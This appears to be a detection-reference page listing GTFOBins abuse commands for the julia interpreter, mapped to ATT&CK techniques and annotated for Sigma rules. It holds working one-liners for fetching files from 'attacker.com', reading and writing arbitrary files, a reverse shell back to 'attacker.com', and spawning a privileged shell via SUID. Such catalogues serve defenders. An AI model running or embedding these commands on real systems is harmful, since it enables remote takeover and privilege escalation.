Identifier / Programs / Linux and Unix
julia
A high-level, high-performance dynamic programming language for technical computing. tldr-pages
GTFOBins download, file-read, file-write, reverse-shell, shell 2 ATT&CK techniques 5 documented commands
How julia is abused
download T1105 Ingress Tool Transfer
-efile-read
-efile-write
-ereverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eshell T1059.004 Command and Scripting Interpreter: Unix Shell
-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for julia.
5 documented commands
download unprivileged, with sudo, as SUID
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'Identifyfile-read unprivileged, with sudo, as SUID
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'Identifyfile-write unprivileged, with sudo, as SUID
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'Identifyreverse-shell unprivileged, with sudo, as SUID
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'Identifyshell unprivileged, with sudo, as SUID
julia -e 'run(`/bin/sh`)'IdentifyAs SUID:
julia -e 'run(`/bin/sh -p`)'
None of the 5 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for julia. The identifier reads the line of each that runs julia.